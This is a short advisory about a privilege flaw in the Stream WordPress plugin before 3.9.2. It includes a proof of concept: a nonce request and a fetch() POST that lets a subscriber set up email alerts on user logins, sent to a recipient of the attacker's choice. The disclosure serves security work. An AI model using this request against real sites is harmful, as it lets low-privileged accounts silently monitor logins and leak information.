Stream < 3.9.2 - Subscriber+ Alert Creation

The plugin does not prevent users with little privileges on the site (like subscribers) from using its alert creation functionality, which may enable them to leak sensitive information.

PoC

Step 1: Log in as a subscriber Step 2: Get a nonce from https://example.com/wp-admin/admin-ajax.php?action=get_new_alert_triggers_notifications Step 3: Configure the alerts via: fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded” },“method”:“POST”, “body”: “action=save_new_alert&wp;_stream_alerts_nonce=XXXX&wp;_stream_trigger_author=&wp;_stream_trigger_context=users-sessions&wp;_stream_trigger_action=login&wp;_stream_alert_type=email&wp;_stream_alert_status=wp_stream_enabled&wp;_stream_email_recipient=recipient%40example.com&wp;_stream_email_subject=test”, });